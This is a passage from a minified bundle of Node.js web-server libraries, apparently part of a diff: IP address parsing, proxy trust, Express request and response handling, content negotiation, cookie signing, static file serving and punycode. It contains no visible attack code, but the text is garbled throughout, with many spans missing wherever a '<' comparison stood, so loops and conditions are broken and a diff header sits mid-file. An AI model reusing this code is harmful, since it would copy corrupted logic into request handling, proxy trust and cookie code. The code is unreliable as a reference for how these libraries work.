null;b!==16&&(g=!0),l+=b}else return null;return 128-l},u})(),a="(?:[0-9a-f]+::?)+",c="%[0-9a-z]{1,}",s={zoneIndex:new RegExp(c,"i"),native:new RegExp("^(::)?("+a+")?([0-9a-f]+)?(::)?("+c+")?$","i"),transitional:new RegExp("^((?:"+a+")|(?:::)(?:"+a+")?)"+(r+"\\."+r+"\\."+r+"\\."+r)+("("+c+")?$"),"i")},t=function(u,l){var d,f,m,g,b,p;if(u.indexOf("::")!==u.lastIndexOf("::"))return null;for(p=(u.match(s.zoneIndex)||[])[0],p&&(p=p.substring(1),u=u.replace(/%.+$/,"")),d=0,f=-1;(f=u.indexOf(":",f+1))>=0;)d++;if(u.substr(0,2)==="::"&&d--,u.substr(-2,2)==="::"&&d--,d>l)return null;for(b=l-d,g=":";b--;)g+="0:";return u=u.replace("::",g),u[0]===":"&&(u=u.slice(1)),u[u.length-1]===":"&&(u=u.slice(0,-1)),l=(function(){var h,y,v,_;for(v=u.split(":"),_=[],h=0,y=v.length;h=0&&l<=32))return f=[this.parse(d[1]),l],Object.defineProperty(f,"toString",{value:function(){return this.join("/")}}),f;throw new Error("ipaddr: string is not formatted like an IPv4 CIDR range")},e.IPv4.subnetMaskFromPrefixLength=function(u){var l,d,f;if(u=parseInt(u),u<0||u>32)throw new Error("ipaddr: invalid IPv4 prefix length");for(f=[0,0,0,0],d=0,l=Math.floor(u/8);d=0&&l<=128))return f=[this.parse(d[1]),l],Object.defineProperty(f,"toString",{value:function(){return this.join("/")}}),f;throw new Error("ipaddr: string is not formatted like an IPv6 CIDR range")},e.isValid=function(u){return e.IPv6.isValid(u)||e.IPv4.isValid(u)},e.parse=function(u){if(e.IPv6.isValid(u))return e.IPv6.parse(u);if(e.IPv4.isValid(u))return e.IPv4.parse(u);throw new Error("ipaddr: the address has neither IPv6 nor IPv4 format")},e.parseCIDR=function(u){var l;try{return e.IPv6.parseCIDR(u)}catch(d){l=d;try{return e.IPv4.parseCIDR(u)}catch(f){throw l=f,new Error("ipaddr: the address has neither IPv6 nor IPv4 CIDR format")}}},e.fromByteArray=function(u){var l;if(l=u.length,l===4)return new e.IPv4(u);if(l===16)return new e.IPv6(u);throw new Error("ipaddr: the binary input is neither an IPv6 nor IPv4 address")},e.process=function(u){var l;return l=this.parse(u),l.kind()==="ipv6"&&l.isIPv4MappedAddress()?l.toIPv4Address():l}}).call(t0)});var Ip=V((iG,Hc)=>{"use strict";Hc.exports=Dj;Hc.exports.all=s0;Hc.exports.compile=i0;var Cj=e0(),n0=r0(),Ij=/^[0-9]+$/,zc=n0.isValid,Uc=n0.parse,a0={linklocal:["169.254.0.0/16","fe80::/10"],loopback:["127.0.0.1/8","::1/128"],uniquelocal:["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","fc00::/7"]};function s0(t,e){var r=Cj(t);if(!e)return r;typeof e!="function"&&(e=i0(e));for(var n=0;na)throw new TypeError("invalid range on address: "+t);return[n,s]}function Mj(t){var e=Uc(t),r=e.kind();return r==="ipv4"?e.prefixLengthFromSubnetMask():null}function Dj(t,e){if(!t)throw new TypeError("req argument is required");if(!e)throw new TypeError("trust argument is required");var r=s0(t,e),n=r[r.length-1];return n}function qj(){return!1}function Lj(t){return function(r){if(!zc(r))return!1;for(var n=Uc(r),a,s=n.kind(),i=0;i{"use strict";var o0=jc().Buffer,zj=wp(),c0=_i(),u0=Vr()("express"),Uj=Zi(),Hj=Fc().mime,Bj=Sp(),Vj=Ip(),Zj=Tc(),Gj=require("querystring");Wt.etag=l0({weak:!1});Wt.wetag=l0({weak:!0});Wt.isAbsolute=function(t){if(t[0]==="/"||t[1]===":"&&(t[2]==="\\"||t[2]==="/")||t.substring(0,2)==="\\\\")return!0};Wt.flatten=u0.function(Uj,"utils.flatten: use array-flatten npm module instead");Wt.normalizeType=function(t){return~t.indexOf("/")?Wj(t):{value:Hj.lookup(t),params:{}}};Wt.normalizeTypes=function(t){for(var e=[],r=0;r{"use strict";var Jj=V_(),Yj=yp(),Np=Oc(),Qj=gb(),e4=_p(),Bc=vr()("express:application"),t4=Sb(),r4=require("http"),a4=Oa().compileETag,n4=Oa().compileQueryParser,s4=Oa().compileTrust,i4=Vr()("express"),o4=Zi(),Ap=Gi(),c4=require("path").resolve,Es=bi(),u4=Object.prototype.hasOwnProperty,Mp=Array.prototype.slice,Ct=d0=p0.exports={},jp="@@symbol:trust_proxy_default";Ct.init=function(){this.cache={},this.engines={},this.settings={},this.defaultConfiguration()};Ct.defaultConfiguration=function(){var e=process.env.NODE_ENV||"development";this.enable("x-powered-by"),this.set("etag","weak"),this.set("env",e),this.set("query parser","extended"),this.set("subdomain offset",2),this.set("trust proxy",!1),Object.defineProperty(this.settings,jp,{configurable:!0,value:!0}),Bc("booting in %s mode",e),this.on("mount",function(n){this.settings[jp]===!0&&typeof n.settings["trust proxy fn"]=="function"&&(delete this.settings["trust proxy"],delete this.settings["trust proxy fn"]),Es(this.request,n.request),Es(this.response,n.response),Es(this.engines,n.engines),Es(this.settings,n.settings)}),this.locals=Object.create(null),this.mountpath="/",this.locals.settings=this.settings,this.set("view",t4),this.set("views",c4("views")),this.set("jsonp callback name","callback"),e==="production"&&this.enable("view cache"),Object.defineProperty(this,"router",{get:function(){throw new Error(`'app.router' is deprecated! +Please see the 3.x to 4.x migration guide for details on how to update your app.`)}})};Ct.lazyrouter=function(){this._router||(this._router=new Yj({caseSensitive:this.enabled("case sensitive routing"),strict:this.enabled("strict routing")}),this._router.use(e4(this.get("query parser fn"))),this._router.use(Qj.init(this)))};Ct.handle=function(e,r,n){var a=this._router,s=n||Jj(e,r,{env:this.get("env"),onerror:l4.bind(this)});if(!a){Bc("no routes defined on app"),s();return}a.handle(e,r,s)};Ct.use=function(e){var r=0,n="/";if(typeof e!="function"){for(var a=e;Array.isArray(a)&&a.length!==0;)a=a[0];typeof a!="function"&&(r=1,n=e)}var s=o4(Mp.call(arguments,r));if(s.length===0)throw new TypeError("app.use() requires a middleware function");this.lazyrouter();var i=this._router;return s.forEach(function(o){if(!o||!o.handle||!o.set)return i.use(n,o);Bc(".use app under %s",n),o.mountpath=n,o.parent=this,i.use(n,function(u,l,d){var f=u.app;o.handle(u,l,function(m){Es(u,f.request),Es(l,f.response),d(m)})}),o.emit("mount",this)},this),this};Ct.route=function(e){return this.lazyrouter(),this._router.route(e)};Ct.engine=function(e,r){if(typeof r!="function")throw new Error("callback function required");var n=e[0]!=="."?"."+e:e;return this.engines[n]=r,this};Ct.param=function(e,r){if(this.lazyrouter(),Array.isArray(e)){for(var n=0;n1?'directories "'+u.root.slice(0,-1).join('", "')+'" or "'+u.root[u.root.length-1]+'"':'directory "'+u.root+'"',f=new Error('Failed to lookup view "'+e+'" in views '+d);return f.view=u,s(f)}c.cache&&(a[e]=u)}d4(u,c,s)};Ct.listen=function(){var e=r4.createServer(this);return e.listen.apply(e,arguments)};function l4(t){this.get("env")!=="test"&&console.error(t.stack||t.toString())}function d4(t,e,r){try{t.render(e,r)}catch(n){r(n)}}});var g0=V((cG,Dp)=>{"use strict";Dp.exports=v0;Dp.exports.preferredCharsets=v0;var p4=/^\s*([^\s;]+)\s*(?:;(.*))?$/;function f4(t){for(var e=t.split(","),r=0,n=0;r0}});var w0=V((uG,qp)=>{"use strict";qp.exports=x0;qp.exports.preferredEncodings=x0;var y4=/^\s*([^\s;]+)\s*(?:;(.*))?$/;function _4(t){for(var e=t.split(","),r=!1,n=1,a=0,s=0;a0}});var $0=V((lG,Lp)=>{"use strict";Lp.exports=k0;Lp.exports.preferredLanguages=k0;var S4=/^\s*([^\s\-;]+)(?:-([^\s;]+))?\s*(?:;(.*))?$/;function E4(t){for(var e=t.split(","),r=0,n=0;r0}});var A0=V((dG,Fp)=>{"use strict";Fp.exports=C0;Fp.exports.preferredMediaTypes=C0;var R4=/^\s*([^\s\/;]+)\/([^;\s]+)\s*(?:;(.*))?$/;function P4(t){for(var e=N4(t),r=0,n=0;r0)if(s.every(function(i){return e.params[i]=="*"||(e.params[i]||"").toLowerCase()==(n.params[i]||"").toLowerCase()}))a|=1;else return null;return{i:r,o:e.i,q:e.q,s:a}}function C0(t,e){var r=P4(t===void 0?"*/*":t||"");if(!e)return r.filter(P0).sort(R0).map(I4);var n=e.map(function(s,i){return O4(s,r,i)});return n.filter(P0).sort(R0).map(function(s){return e[n.indexOf(s)]})}function R0(t,e){return e.q-t.q||e.s-t.s||t.o-e.o||t.i-e.i||0}function I4(t){return t.type+"/"+t.subtype}function P0(t){return t.q>0}function I0(t){for(var e=0,r=0;(r=t.indexOf('"',r))!==-1;)e++,r++;return e}function A4(t){var e=t.indexOf("="),r,n;return e===-1?r=t:(r=t.substr(0,e),n=t.substr(e+1)),[r,n]}function N4(t){for(var e=t.split(","),r=1,n=0;r{"use strict";var M4=g0(),D4=w0(),q4=$0(),L4=A0();zp.exports=at;zp.exports.Negotiator=at;function at(t){if(!(this instanceof at))return new at(t);this.request=t}at.prototype.charset=function(e){var r=this.charsets(e);return r&&r[0]};at.prototype.charsets=function(e){return M4(this.request.headers["accept-charset"],e)};at.prototype.encoding=function(e){var r=this.encodings(e);return r&&r[0]};at.prototype.encodings=function(e){return D4(this.request.headers["accept-encoding"],e)};at.prototype.language=function(e){var r=this.languages(e);return r&&r[0]};at.prototype.languages=function(e){return q4(this.request.headers["accept-language"],e)};at.prototype.mediaType=function(e){var r=this.mediaTypes(e);return r&&r[0]};at.prototype.mediaTypes=function(e){return L4(this.request.headers.accept,e)};at.prototype.preferredCharset=at.prototype.charset;at.prototype.preferredCharsets=at.prototype.charsets;at.prototype.preferredEncoding=at.prototype.encoding;at.prototype.preferredEncodings=at.prototype.encodings;at.prototype.preferredLanguage=at.prototype.language;at.prototype.preferredLanguages=at.prototype.languages;at.prototype.preferredMediaType=at.prototype.mediaType;at.prototype.preferredMediaTypes=at.prototype.mediaTypes});var M0=V((fG,j0)=>{"use strict";var F4=N0(),z4=Dd();j0.exports=lr;function lr(t){if(!(this instanceof lr))return new lr(t);this.headers=t.headers,this.negotiator=new F4(t)}lr.prototype.type=lr.prototype.types=function(t){var e=t;if(e&&!Array.isArray(e)){e=new Array(arguments.length);for(var r=0;r{"use strict";var Vc=M0(),Ji=Vr()("express"),B4=require("net").isIP,V4=cs(),Z4=require("http"),G4=Ep(),W4=Tp(),K4=vs(),D0=Ip(),st=Object.create(Z4.IncomingMessage.prototype);q0.exports=st;st.get=st.header=function(e){if(!e)throw new TypeError("name argument is required to req.get");if(typeof e!="string")throw new TypeError("name must be a string to req.get");var r=e.toLowerCase();switch(r){case"referer":case"referrer":return this.headers.referrer||this.headers.referer;default:return this.headers[r]}};st.accepts=function(){var t=Vc(this);return t.types.apply(t,arguments)};st.acceptsEncodings=function(){var t=Vc(this);return t.encodings.apply(t,arguments)};st.acceptsEncoding=Ji.function(st.acceptsEncodings,"req.acceptsEncoding: Use acceptsEncodings instead");st.acceptsCharsets=function(){var t=Vc(this);return t.charsets.apply(t,arguments)};st.acceptsCharset=Ji.function(st.acceptsCharsets,"req.acceptsCharset: Use acceptsCharsets instead");st.acceptsLanguages=function(){var t=Vc(this);return t.languages.apply(t,arguments)};st.acceptsLanguage=Ji.function(st.acceptsLanguages,"req.acceptsLanguage: Use acceptsLanguages instead");st.range=function(e,r){var n=this.get("Range");if(n)return W4(e,n,r)};st.param=function(e,r){var n=this.params||{},a=this.body||{},s=this.query||{},i=arguments.length===1?"name":"name, default";return Ji("req.param("+i+"): Use req.params, req.body, or req.query instead"),n[e]!=null&&n.hasOwnProperty(e)?n[e]:a[e]!=null?a[e]:s[e]!=null?s[e]:r};st.is=function(e){var r=e;if(!Array.isArray(e)){r=new Array(arguments.length);for(var n=0;n=200&&r<300||r===304?G4(this.headers,{etag:e.get("ETag"),"last-modified":e.get("Last-Modified")}):!1});jr(st,"stale",function(){return!this.fresh});jr(st,"xhr",function(){var e=this.get("X-Requested-With")||"";return e.toLowerCase()==="xmlhttprequest"});function jr(t,e,r){Object.defineProperty(t,e,{configurable:!0,enumerable:!0,get:r})}});var U0=V(Zc=>{var z0=require("crypto");Zc.sign=function(t,e){if(typeof t!="string")throw new TypeError("Cookie value must be provided as a string.");if(typeof e!="string")throw new TypeError("Secret string must be provided.");return t+"."+z0.createHmac("sha256",e).update(t).digest("base64").replace(/\=+$/,"")};Zc.unsign=function(t,e){if(typeof t!="string")throw new TypeError("Signed cookie string must be provided.");if(typeof e!="string")throw new TypeError("Secret string must be provided.");var r=t.slice(0,t.lastIndexOf(".")),n=Zc.sign(r,e);return F0(n)==F0(t)?r:!1};function F0(t){return z0.createHash("sha1").update(t).digest("hex")}});var V0=V(Up=>{"use strict";Up.parse=tM;Up.serialize=rM;var X4=Object.prototype.toString,J4=/^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/,Y4=/^("?)[\u0021\u0023-\u002B\u002D-\u003A\u003C-\u005B\u005D-\u007E]*\1$/,Q4=/^([.]?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)([.][a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/i,eM=/^[\u0020-\u003A\u003D-\u007E]*$/;function tM(t,e){if(typeof t!="string")throw new TypeError("argument str must be a string");var r={},n=t.length;if(n<2)return r;var a=e&&e.decode||aM,s=0,i=0,o=0;do{if(i=t.indexOf("=",s),i===-1)break;if(o=t.indexOf(";",s),o===-1)o=n;else if(i>o){s=t.lastIndexOf(";",i-1)+1;continue}var c=H0(t,s,i),u=B0(t,i,c),l=t.slice(c,u);if(!r.hasOwnProperty(l)){var d=H0(t,i+1,o),f=B0(t,o,d);t.charCodeAt(d)===34&&t.charCodeAt(f-1)===34&&(d++,f--);var m=t.slice(d,f);r[l]=sM(m,a)}s=o+1}while(sr;){var n=t.charCodeAt(--e);if(n!==32&&n!==9)return e+1}return r}function rM(t,e,r){var n=r&&r.encode||encodeURIComponent;if(typeof n!="function")throw new TypeError("option encode is invalid");if(!J4.test(t))throw new TypeError("argument name is invalid");var a=n(e);if(!Y4.test(a))throw new TypeError("argument val is invalid");var s=t+"="+a;if(!r)return s;if(r.maxAge!=null){var i=Math.floor(r.maxAge);if(!isFinite(i))throw new TypeError("option maxAge is invalid");s+="; Max-Age="+i}if(r.domain){if(!Q4.test(r.domain))throw new TypeError("option domain is invalid");s+="; Domain="+r.domain}if(r.path){if(!eM.test(r.path))throw new TypeError("option path is invalid");s+="; Path="+r.path}if(r.expires){var o=r.expires;if(!nM(o)||isNaN(o.valueOf()))throw new TypeError("option expires is invalid");s+="; Expires="+o.toUTCString()}if(r.httpOnly&&(s+="; HttpOnly"),r.secure&&(s+="; Secure"),r.partitioned&&(s+="; Partitioned"),r.priority){var c=typeof r.priority=="string"?r.priority.toLowerCase():r.priority;switch(c){case"low":s+="; Priority=Low";break;case"medium":s+="; Priority=Medium";break;case"high":s+="; Priority=High";break;default:throw new TypeError("option priority is invalid")}}if(r.sameSite){var u=typeof r.sameSite=="string"?r.sameSite.toLowerCase():r.sameSite;switch(u){case!0:s+="; SameSite=Strict";break;case"lax":s+="; SameSite=Lax";break;case"strict":s+="; SameSite=Strict";break;case"none":s+="; SameSite=None";break;default:throw new TypeError("option sameSite is invalid")}}return s}function aM(t){return t.indexOf("%")!==-1?decodeURIComponent(t):t}function nM(t){return X4.call(t)==="[object Date]"}function sM(t,e){try{return e(t)}catch{return t}}});var Bp=V((gG,Hp)=>{"use strict";Hp.exports=oM;Hp.exports.append=G0;var iM=/^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/;function G0(t,e){if(typeof t!="string")throw new TypeError("header argument is required");if(!e)throw new TypeError("field argument is required");for(var r=Array.isArray(e)?e:Z0(String(e)),n=0;n{"use strict";var Yi=jc().Buffer,W0=wp(),cM=Ya(),Yt=Vr()("express"),uM=Rc(),lM=Vi(),dM=require("http"),pM=Oa().isAbsolute,fM=Oi(),K0=require("path"),Gc=xi(),X0=Gi(),mM=U0().sign,hM=Oa().normalizeType,vM=Oa().normalizeTypes,gM=Oa().setCharset,yM=V0(),Vp=Fc(),_M=K0.extname,J0=Vp.mime,bM=K0.resolve,xM=Bp(),it=Object.create(dM.ServerResponse.prototype);ex.exports=it;var wM=/;\s*charset\s*=/;it.status=function(e){return(typeof e=="string"||Math.floor(e)!==e)&&e>99&&e<1e3&&Yt("res.status("+JSON.stringify(e)+"): use res.status("+Math.floor(e)+") instead"),this.statusCode=e,this};it.links=function(t){var e=this.get("Link")||"";return e&&(e+=", "),this.set("Link",e+Object.keys(t).map(function(r){return"<"+t[r]+'>; rel="'+r+'"'}).join(", "))};it.send=function(e){var r=e,n,a=this.req,s,i=this.app;switch(arguments.length===2&&(typeof arguments[0]!="number"&&typeof arguments[1]=="number"?(Yt("res.send(body, status): Use res.status(status).send(body) instead"),this.statusCode=arguments[1]):(Yt("res.send(status, body): Use res.status(status).send(body) instead"),this.statusCode=arguments[0],r=arguments[1])),typeof r=="number"&&arguments.length===1&&(this.get("Content-Type")||this.type("txt"),Yt("res.send(status): Use res.sendStatus(status) instead"),this.statusCode=r,r=Gc.message[r]),typeof r){case"string":this.get("Content-Type")||this.type("html");break;case"boolean":case"number":case"object":if(r===null)r="";else if(Yi.isBuffer(r))this.get("Content-Type")||this.type("bin");else return this.json(r);break}typeof r=="string"&&(n="utf8",s=this.get("Content-Type"),typeof s=="string"&&this.set("Content-Type",gM(s,"utf-8")));var o=i.get("etag fn"),c=!this.get("ETag")&&typeof o=="function",u;r!==void 0&&(Yi.isBuffer(r)?u=r.length:!c&&r.length<1e3?u=Yi.byteLength(r,n):(r=Yi.from(r,n),n=void 0,u=r.length),this.set("Content-Length",u));var l;return c&&u!==void 0&&(l=o(r,n))&&this.set("ETag",l),a.fresh&&(this.statusCode=304),(this.statusCode===204||this.statusCode===304)&&(this.removeHeader("Content-Type"),this.removeHeader("Content-Length"),this.removeHeader("Transfer-Encoding"),r=""),this.statusCode===205&&(this.set("Content-Length","0"),this.removeHeader("Transfer-Encoding"),r=""),a.method==="HEAD"?this.end():this.end(r,n),this};it.json=function(e){var r=e;arguments.length===2&&(typeof arguments[1]=="number"?(Yt("res.json(obj, status): Use res.status(status).json(obj) instead"),this.statusCode=arguments[1]):(Yt("res.json(status, obj): Use res.status(status).json(obj) instead"),this.statusCode=arguments[0],r=arguments[1]));var n=this.app,a=n.get("json escape"),s=n.get("json replacer"),i=n.get("json spaces"),o=Q0(r,s,i,a);return this.get("Content-Type")||this.set("Content-Type","application/json"),this.send(o)};it.jsonp=function(e){var r=e;arguments.length===2&&(typeof arguments[1]=="number"?(Yt("res.jsonp(obj, status): Use res.status(status).jsonp(obj) instead"),this.statusCode=arguments[1]):(Yt("res.jsonp(status, obj): Use res.status(status).jsonp(obj) instead"),this.statusCode=arguments[0],r=arguments[1]));var n=this.app,a=n.get("json escape"),s=n.get("json replacer"),i=n.get("json spaces"),o=Q0(r,s,i,a),c=this.req.query[n.get("jsonp callback name")];return this.get("Content-Type")||(this.set("X-Content-Type-Options","nosniff"),this.set("Content-Type","application/json")),Array.isArray(c)&&(c=c[0]),typeof c=="string"&&c.length!==0&&(this.set("X-Content-Type-Options","nosniff"),this.set("Content-Type","text/javascript"),c=c.replace(/[^\[\]\w$.]/g,""),o===void 0?o="":typeof o=="string"&&(o=o.replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")),o="/**/ typeof "+c+" === 'function' && "+c+"("+o+");"),this.send(o)};it.sendStatus=function(e){var r=Gc.message[e]||String(e);return this.statusCode=e,this.type("txt"),this.send(r)};it.sendFile=function(e,r,n){var a=n,s=this.req,i=this,o=s.next,c=r||{};if(!e)throw new TypeError("path argument is required to res.sendFile");if(typeof e!="string")throw new TypeError("path must be a string to res.sendFile");if(typeof r=="function"&&(a=r,c={}),!c.root&&!pM(e))throw new TypeError("path must be absolute or specify root to res.sendFile");var u=encodeURI(e),l=Vp(s,u,c);Y0(i,l,c,function(d){if(a)return a(d);if(d&&d.code==="EISDIR")return o();d&&d.code!=="ECONNABORTED"&&d.syscall!=="write"&&o(d)})};it.sendfile=function(t,e,r){var n=r,a=this.req,s=this,i=a.next,o=e||{};typeof e=="function"&&(n=e,o={});var c=Vp(a,t,o);Y0(s,c,o,function(u){if(n)return n(u);if(u&&u.code==="EISDIR")return i();u&&u.code!=="ECONNABORTED"&&u.syscall!=="write"&&i(u)})};it.sendfile=Yt.function(it.sendfile,"res.sendfile: Use res.sendFile instead");it.download=function(e,r,n,a){var s=a,i=r,o=n||null;typeof r=="function"?(s=r,i=null,o=null):typeof n=="function"&&(s=n,o=null),typeof r=="object"&&(typeof n=="function"||n===void 0)&&(i=null,o=r);var c={"Content-Disposition":W0(i||e)};if(o&&o.headers)for(var u=Object.keys(o.headers),l=0;l0?e.accepts(n):!1;return this.vary("Accept"),a?(this.set("Content-Type",hM(a).value),t[a](e,this,r)):t.default?t.default(e,this,r):r(cM(406,{types:vM(n).map(function(s){return s.value})})),this};it.attachment=function(e){return e&&this.type(_M(e)),this.set("Content-Disposition",W0(e)),this};it.append=function(e,r){var n=this.get(e),a=r;return n&&(a=Array.isArray(n)?n.concat(r):Array.isArray(r)?[n].concat(r):[n,r]),this.set(e,a)};it.set=it.header=function(e,r){if(arguments.length===2){var n=Array.isArray(r)?r.map(String):String(r);if(e.toLowerCase()==="content-type"){if(Array.isArray(n))throw new TypeError("Content-Type cannot be set to an Array");if(!wM.test(n)){var a=J0.charsets.lookup(n.split(";")[0]);a&&(n+="; charset="+a.toLowerCase())}}this.setHeader(e,n)}else for(var s in e)this.set(s,e[s]);return this};it.get=function(t){return this.getHeader(t)};it.clearCookie=function(e,r){r&&(r.maxAge&&Yt('res.clearCookie: Passing "options.maxAge" is deprecated. In v5.0.0 of Express, this option will be ignored, as res.clearCookie will automatically set cookies to expire immediately. Please update your code to omit this option.'),r.expires&&Yt('res.clearCookie: Passing "options.expires" is deprecated. In v5.0.0 of Express, this option will be ignored, as res.clearCookie will automatically set cookies to expire immediately. Please update your code to omit this option.'));var n=X0({expires:new Date(1),path:"/"},r);return this.cookie(e,"",n)};it.cookie=function(t,e,r){var n=X0({},r),a=this.req.secret,s=n.signed;if(s&&!a)throw new Error('cookieParser("secret") required for signed cookies');var i=typeof e=="object"?"j:"+JSON.stringify(e):String(e);if(s&&(i="s:"+mM(i,a)),n.maxAge!=null){var o=n.maxAge-0;isNaN(o)||(n.expires=new Date(Date.now()+o),n.maxAge=Math.floor(o/1e3))}return n.path==null&&(n.path="/"),this.append("Set-Cookie",yM.serialize(t,String(i),n)),this};it.location=function(e){var r;return e==="back"?(Yt('res.location("back"): use res.location(req.get("Referrer") || "/") and refer to https://dub.sh/security-redirect for best practices'),r=this.req.get("Referrer")||"/"):r=String(e),this.set("Location",uM(r))};it.redirect=function(e){var r=e,n,a=302;arguments.length===2&&(typeof arguments[0]=="number"?(a=arguments[0],r=arguments[1]):(Yt("res.redirect(url, status): Use res.redirect(status, url) instead"),a=arguments[1])),r=this.location(r).get("Location"),this.format({text:function(){n=Gc.message[a]+". Redirecting to "+r},html:function(){var s=lM(r);n="

"+Gc.message[a]+". Redirecting to "+s+"

"},default:function(){n=""}}),this.statusCode=a,this.set("Content-Length",Yi.byteLength(n)),this.req.method==="HEAD"?this.end():this.end(n)};it.vary=function(t){return!t||Array.isArray(t)&&!t.length?(Yt("res.vary(): Provide a field name"),this):(xM(this,t),this)};it.render=function(e,r,n){var a=this.req.app,s=n,i=r||{},o=this.req,c=this;typeof r=="function"&&(s=r,i={}),i._locals=c.locals,s=s||function(u,l){if(u)return o.next(u);c.send(l)},a.render(e,i,s)};function Y0(t,e,r,n){var a=!1,s;function i(){if(!a){a=!0;var m=new Error("Request aborted");m.code="ECONNABORTED",n(m)}}function o(){if(!a){a=!0;var m=new Error("EISDIR, read");m.code="EISDIR",n(m)}}function c(m){a||(a=!0,n(m))}function u(){a||(a=!0,n())}function l(){s=!1}function d(m){if(m&&m.code==="ECONNRESET")return i();if(m)return c(m);a||setImmediate(function(){if(s!==!1&&!a){i();return}a||(a=!0,n())})}function f(){s=!0}e.on("directory",o),e.on("end",u),e.on("error",c),e.on("file",l),e.on("stream",f),fM(t,d),r.headers&&e.on("headers",function(g){for(var b=r.headers,p=Object.keys(b),h=0;h&]/g,function(s){switch(s.charCodeAt(0)){case 60:return"\\u003c";case 62:return"\\u003e";case 38:return"\\u0026";default:return s}})),a}});var ax=V((_G,Gp)=>{"use strict";var SM=Rc(),EM=Vi(),Zp=vs(),TM=require("path").resolve,rx=Fc(),kM=require("url");Gp.exports=$M;Gp.exports.mime=rx.mime;function $M(t,e){if(!t)throw new TypeError("root path required");if(typeof t!="string")throw new TypeError("root path must be a string");var r=Object.create(e||null),n=r.fallthrough!==!1,a=r.redirect!==!1,s=r.setHeaders;if(s&&typeof s!="function")throw new TypeError("option setHeaders must be function");r.maxage=r.maxage||r.maxAge||0,r.root=TM(t);var i=a?CM():OM();return function(c,u,l){if(c.method!=="GET"&&c.method!=="HEAD"){if(n)return l();u.statusCode=405,u.setHeader("Allow","GET, HEAD"),u.setHeader("Content-Length","0"),u.end();return}var d=!n,f=Zp.original(c),m=Zp(c).pathname;m==="/"&&f.pathname.substr(-1)!=="/"&&(m="");var g=rx(c,m,r);g.on("directory",i),s&&g.on("headers",s),n&&g.on("file",function(){d=!0}),g.on("error",function(p){if(d||!(p.statusCode<500)){l(p);return}l()}),g.pipe(u)}}function RM(t){for(var e=0;e1?"/"+t.substr(e):t}function PM(t,e){return` @@ -49,10 +49,10 @@ Please see the 3.x to 4.x migration guide for details on how to update your app.
`+e+`
-`}function _2(){return function(){this.error(404)}}function b2(){return function(e){if(this.hasTrailingSlash()){this.error(404);return}var r=Bp.original(this.req);r.path=null,r.pathname=g2(r.pathname+"/");var n=p2(h2.format(r)),a=y2("Redirecting","Redirecting to "+f2(n));e.statusCode=301,e.setHeader("Content-Type","text/html; charset=UTF-8"),e.setHeader("Content-Length",Buffer.byteLength(a)),e.setHeader("Content-Security-Policy","default-src 'none'"),e.setHeader("X-Content-Type-Options","nosniff"),e.setHeader("Location",n),e.end(a)}}});var cx=V((Jt,ox)=>{"use strict";var Vc=O_(),x2=require("events").EventEmitter,ax=I_(),nx=p0(),w2=mp(),S2=vp(),sx=q0(),ix=ex();Jt=ox.exports=E2;function E2(){var t=function(e,r,n){t.handle(e,r,n)};return ax(t,x2.prototype,!1),ax(t,nx,!1),t.request=Object.create(sx,{app:{configurable:!0,enumerable:!0,writable:!0,value:t}}),t.response=Object.create(ix,{app:{configurable:!0,enumerable:!0,writable:!0,value:t}}),t.init(),t}Jt.application=nx;Jt.request=sx;Jt.response=ix;Jt.Route=w2;Jt.Router=S2;Jt.json=Vc.json;Jt.query=gp();Jt.raw=Vc.raw;Jt.static=rx();Jt.text=Vc.text;Jt.urlencoded=Vc.urlencoded;var T2=["bodyParser","compress","cookieSession","session","logger","cookieParser","favicon","responseTime","errorHandler","timeout","methodOverride","vhost","csrf","directory","limit","multipart","staticCache"];T2.forEach(function(t){Object.defineProperty(Jt,t,{get:function(){throw new Error("Most middleware (like "+t+") is no longer bundled with Express and must be installed separately. Please see https://github.com/senchalabs/connect#middleware.")},configurable:!0})})});var Wp=V((YW,ux)=>{"use strict";ux.exports=cx()});var zx=V((iu,Fx)=>{(function(t,e){typeof iu=="object"&&typeof Fx<"u"?e(iu):typeof define=="function"&&define.amd?define(["exports"],e):e(t.URI=t.URI||{})})(iu,(function(t){"use strict";function e(){for(var B=arguments.length,D=Array(B),W=0;W1){D[0]=D[0].slice(0,-1);for(var J=D.length-1,Q=1;Q= 0x80 (not a basic code point)","invalid-input":"Invalid input"},R=m-g,A=Math.floor,j=String.fromCharCode;function q(B){throw new RangeError(T[B])}function U(B,D){for(var W=[],J=B.length;J--;)W[J]=D(B[J]);return W}function N(B,D){var W=B.split("@"),J="";W.length>1&&(J=W[0]+"@",B=W[1]),B=B.replace(w,".");var Q=B.split("."),ye=U(Q,D).join(".");return J+ye}function G(B){for(var D=[],W=0,J=B.length;W=55296&&Q<=56319&&W>1,D+=A(D/W);D>R*b>>1;Q+=m)D=A(D/R);return A(Q+(R+1)*D/(D+p))},H=function(D){var W=[],J=D.length,Q=0,ye=v,De=y,Ze=D.lastIndexOf(_);Ze<0&&(Ze=0);for(var Qe=0;Qe=128&&q("not-basic"),W.push(D.charCodeAt(Qe));for(var kt=Ze>0?Ze+1:0;kt=J&&q("invalid-input");var pt=ce(D.charCodeAt(kt++));(pt>=m||pt>A((f-Q)/vt))&&q("overflow"),Q+=pt*vt;var Ke=Rt<=De?g:Rt>=De+b?b:Rt-De;if(ptA(f/gt)&&q("overflow"),vt*=gt}var rt=W.length+1;De=ne(Q-Ve,rt,Ve==0),A(Q/rt)>f-ye&&q("overflow"),ye+=A(Q/rt),Q%=rt,W.splice(Q++,0,ye)}return String.fromCodePoint.apply(String,W)},P=function(D){var W=[];D=G(D);var J=D.length,Q=v,ye=0,De=y,Ze=!0,Qe=!1,kt=void 0;try{for(var Ve=D[Symbol.iterator](),vt;!(Ze=(vt=Ve.next()).done);Ze=!0){var Rt=vt.value;Rt<128&&W.push(j(Rt))}}catch(Za){Qe=!0,kt=Za}finally{try{!Ze&&Ve.return&&Ve.return()}finally{if(Qe)throw kt}}var pt=W.length,Ke=pt;for(pt&&W.push(_);Ke=Q&&irA((f-ye)/dr)&&q("overflow"),ye+=(gt-Q)*dr,Q=gt;var Fr=!0,Wa=!1,ra=void 0;try{for(var pi=D[Symbol.iterator](),Do;!(Fr=(Do=pi.next()).done);Fr=!0){var qo=Do.value;if(qof&&q("overflow"),qo==Q){for(var zn=ye,Un=m;;Un+=m){var 